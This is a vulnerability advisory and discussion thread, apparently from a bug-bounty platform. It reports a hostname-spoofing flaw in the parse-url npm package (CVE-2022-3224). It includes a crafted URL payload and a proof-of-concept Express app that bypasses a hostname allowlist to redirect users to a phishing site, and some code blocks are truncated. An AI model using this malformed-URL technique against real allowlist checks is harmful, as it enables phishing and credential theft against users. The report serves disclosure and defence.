

Hostname Spoofing in ionicabizau/parse-url

0



Valid

Reported on Aug 7th 2022

Description

parse-url parses following http(s) url incorrectly, identifies its protocol as ssh, and its host name is parsed incorrectly either.

```
https://www.google.com:x@fakesite.com:x
```

```
# node -e 'const parseUrl=require("parse-url");console.log(parseUrl("https:
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'www.google.com',
  host: 'www.google.com',
  user: 'git',
  password: '',
  pathname: '/x',
  hash: '',
  search: '',
  href: 'https://www.google.com:x@fakesite.com:x',
  query: {},
  parse_failed: false
}
```

But url library parses correctly.

```
# node -e 'const url=require("url");console.log(url.parse("
Url {
  protocol: 'https:'
```

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```

    protocol: 'https.',
    slashes: true,
    auth: 'www.google.com:x',
    host: 'fakesite.com',
    port: null,
    hostname: 'fakesite.com',
    hash: null,
    search: null,
    query: null,
    pathname: '/:x',
    path: '/:x',
    href: 'https://www.google.com:x@fakesite.com/:x'
  }
}

```

This may lead to bypass the hostname whitelist, attacker could do phishing attack.

Proof of Concept

Consider the following attack scenario, developer uses `parse-url` library to check whether url hostname is `www.google.com` or not, and uses `url` library to do redirect action. If attacker constructs malformed url, then the user will be redirected to a phishing site.

```

// PoC.js
const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express');
const app = express();

var url = "https://www.google.com:x@fakesite.com:x";
parsed = parseUrl(url);
console.log("[*]`parse-url` output: ")
console.log(parsed);

parsed2 = Url.parse(url);
console.log("[*]`url` output: ")
console.log(parsed2)

app.get('/', (req, res) => {
  if (parsed.host == "www.google.com") {

```

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```
if (parsed.host == www.google.com ) {  
    res.send("<a href=\"\" + parsed2.href + \"\">CLICK ME!</a>")  
}  
  
})  
  
app.listen(8888,"0.0.0.0");
```

Impact

This leads to bypass the hostname whitelist, attacker could do phishing attack and steal sensitive information.

CVE

CVE-2022-3224

(Published)

Vulnerability Type

CWE-115: Misinterpretation of Input

Severity

Critical (9.4)

Registry

Npm

Affected Version

8.0.0

Visibility

Public

Status

Fixed

Found by



Automne

@ce-automne

unranked

Fixed by



Ionică Bizău (Johnny B.)

@ionicabizau

unranked

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This report was seen 1,074 times.

We are processing your report and will contact the **ionicabizau/parse-url** team within 24 hours.

4 months ago

We have contacted a member of the **ionicabizau/parse-url** team and are waiting to hear back

4 months ago

We have sent a follow up to the **ionicabizau/parse-url** team. We will try again in 7 days.

3 months ago

We have sent a second follow up to the **ionicabizau/parse-url** team. We will try again in 10 days.

3 months ago

Ionică Bizău (Johnny B.) modified the Severity from High (7.3) to Critical (9.4) 3 months ago

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Ionică Bizău (Johnny B.) validated this vulnerability 3 months ago

Thank you for this finding!

Automne has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Automne 3 months ago

Researcher

Many thanks

We have sent a fix follow up to the **ionicabizau/parse-url** team. We will try again in 7 days.

3 months ago

We have sent a second fix follow up to the **ionicabizau/parse-url** team. We will try again in 10 days. 3 months ago

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Automne [3 months ago](#)

Researcher

@Ionică Bizău (Johnny B.), hi, any updates?

We have sent a third and final fix follow up to the [ionicabizau/parse-url](#) team. This report is now considered stale. [3 months ago](#)

Ionică Bizău (Johnny B.) marked this as fixed in [8.1.0](#) with commit [9cacf3](#) [2 months ago](#)

Ionică Bizău (Johnny B.) has been awarded the fix bounty 

This vulnerability will not receive a CVE 

Ionică [2 months ago](#)

Maintainer

@Automne Not sure why the disclosure bounty got reset to \$0...
Thank you very much for this finding.

Automne [2 months ago](#)

Researcher

@admin, what's wrong with the disclosure bounty? why it displays as \$0 there...

Jamie Slome [2 months ago](#)

Admin

As mentioned by Adam over e-mail, the bounties were withdrawn for this project prior to the vulnerability being deemed valid. We're hoping to post new bounties soon.

Ionică [2 months ago](#)

Maintainer

@admin Why were the bounties withdrawn for this project? After the call with one of the members of the Huntr staff (couple of months ago), I was encouraged to keep the project as active as possible and I tried that...

Adam Nygate [2 months ago](#)

Admin

Hi Ionică Bizău, rest assured that is not a reflection on you or the project. We're renegotiating terms with the organisation that was sponsoring your project, will be able to fund more security maintenance in the near future.

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Jamie Slome [2 months ago](#)

[Admin](#)

@ionicabizau - are you happy for us to assign and publish a CVE for this report?

The researcher has requested one :)

Ionică [2 months ago](#)

[Maintainer](#)

@JamieSlome Sure, that works!

If I am not wrong the bounty reset to 0 when I changed the Severity from High (7.3) to Critical (9.4). I am wondering now if it would have been resetting without that change...

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